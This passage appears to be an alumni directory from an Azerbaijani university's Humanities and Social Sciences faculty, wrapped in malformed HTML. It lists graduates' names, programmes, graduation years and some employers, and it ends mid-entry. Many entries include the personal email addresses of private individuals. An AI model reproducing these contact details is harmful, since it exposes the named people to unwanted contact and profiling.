..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Faiz Tağıyev&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Regionşünaslıq&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Fatimə Bayramova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Fərqanə Vilayətli&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Firdovsi Hacıyev&nbsp;</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Jurnalistika&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Fidan Cəfərli-Məhərrəmli&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Fəridə Əsədova&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Fərid</strong>&nbsp;Qasımov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Az.Resp. Müdafiə Sənaye Nazirliyi</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Faridqasimov525@mail.ru\">Faridqasimov525@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fidan Cəfərzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İngilis dili və ədəbiyyatı</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Fidan.jfr@gmail.com\">Fidan.jfr@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Fərhad</strong>&nbsp;Əhmədov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">AZAL QSC</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:jasonbourne575@gmail.com\">jasonbourne575@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Fərqanə</strong>&nbsp;Hüseynova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Avrasiya Universitetində müəllimə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Ferganehuseynova@yahoo.com\">Ferganehuseynova@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Fərid</strong>&nbsp;&nbsp;Nezerli&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:nezerli-ferid@mail.ru\">nezerli-ferid@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"G\">G</h3><p><strong>Gunel İsmayılova </strong> <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Gunnel_ismayil@mail.ru\">Gunnel_ismayil[at]mail.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Göyçək Qəribova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:garibova_95@mail.ru\">garibova_95[at]mail.ru</a></p><p><strong><br></strong></p><p><a href=\"mailto:garibova_95@mail.ru\"></a><strong>Gülgün Hüseynova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:huseynovagulgun@gmail.com\">huseynovagulgun[at]gmail.com</a></p><p><strong><br></strong></p><p><a href=\"mailto:huseynovagulgun@gmail.com\"></a><strong>Günel Qurbanova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunel.qurbanova95@gmail.com\">gunel.qurbanova95[at]gmail.com</a></p>\r\n<p><a href=\"mailto:gunel.qurbanova95@mail.ru\">gunel.qurbanova95[at]mail.ru</a></p>\r\n<p>“Humel” psixoloji mərkəzi, uşaq\r\npsixoloqu</p>\r\n<p><strong><br></strong></p><p><strong>Günay Məmmədova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Ümumi psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunaymemmedova191@gmail.com\">gunaymemmedova191[at]gmail.com</a></p>\r\n<p>“Loqos”\r\n&nbsp;psixologi mərkəzi,\r\npsixoloq</p>\r\n<p>&nbsp;<strong></strong></p>\r\n<p><strong>Günel Nəsirli </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Ümumi psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gnlnsrl@gmail.com\">gnlnsrl[at]gmail.com</a></p>\r\n<p>2 saylı Klinic Psixiatrik xəstəxana,psixoloq</p>\r\n<p><strong><br></strong></p><p><strong>Günay Bayramova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Klinik psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gunay.bayramova.1993@bk.ru\">gunay.bayramova.1993[at]bk.ru</a></p><p><strong><br></strong></p><p><a href=\"mailto:gunay.bayramova.1993@bk.ru\"></a><strong>Günel Məmmədova&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Beynəlxalq Münasibətlər və Diplomatiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp;&nbsp;2013 (Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Gülşən Rüstəmova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İngilis dili və ədəbiyyat&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Gülər Zamanzadə</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə) &nbsp;&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Günay Babazadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;(Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Günel Əliyeva</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Günay Həsənli</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:g.hasanly@gmail.com\">g.hasanly@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Gülnar İbrahimova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İngilis dili və ədəbiyyat&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Günay İsmayılova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Psixologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:g.ismayilova20@gmail.com\">g.ismayilova20@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Gövhər Əliyeva</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Gülnar Abbasova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərcümə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:Gulnarabbasova90@gmail.com\">Gulnarabbasova90@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Gülşən İsmayılova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"H\">H</h3><br><p><strong>Hidayat Əhmədli </strong> <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ahmadlihido@gmail.com\">ahmadlihido[at]gmail.com</a></p>\r\n<p>Gürcüstan,\r\nTbilisi Next Brand Şirkəti</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Hüseyn Hüseynzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Beynəlxalq Münasibətlər&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012 (Fərqlənmə)&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Həmidə Babayeva&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Hüseyn Uzunalov&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Hüsü Ağamirov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial 